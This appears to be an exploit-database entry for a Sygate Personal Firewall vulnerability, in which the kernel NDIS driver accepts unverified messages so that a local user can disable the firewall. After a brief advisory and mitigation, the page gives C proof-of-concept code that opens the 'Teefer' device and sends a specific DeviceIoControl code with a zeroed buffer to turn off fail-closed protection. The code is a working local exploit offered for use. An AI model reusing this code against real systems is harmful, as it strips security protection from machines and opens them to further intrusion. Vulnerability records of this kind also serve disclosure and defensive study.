header-logo
Suggest Exploit
vendor:
Personal Firewall
by:
SecurityFocus
7.2
CVSS
HIGH
Local Privilege Escalation
264
CWE
Product Name: Personal Firewall
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

Sygate Personal Firewall fail-closed Functionality Vulnerability

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality. A local attacker may exploit this condition to disable the affected firewall completely.

Mitigation:

Ensure that the kernel-space NDIS driver is configured to verify the origin of messages that are received through the associated device.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10540/info

A vulnerability is reported to affect the Sygate Personal Firewall fail-closed functionality. It is reported that the kernel-space NDIS driver does not verify the origin of messages that are received through the associated device. As a result of this it is possible for a local user to transmit a message to the kernel-space NDIS driver device in order to disable the firewall fail-closed functionality.

A local attacker may exploit this condition to disable the affected firewall completely.


	hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
			 NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

 	if(hDevice == INVALID_HANDLE_VALUE)
	{
		printf("Open failed\n");
	}
	else
	{
		printf("Device opened.\n");
										
		char buffer[8];
		DWORD *ptr = (DWORD *)buffer;
		DWORD *ptr2 = (DWORD *)(buffer + 4);
		DWORD ret;

		*ptr = 0;
		*ptr2 = 0;
			
		if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
			printf("Sent.\n");
												
		CloseHandle(hDevice);
	}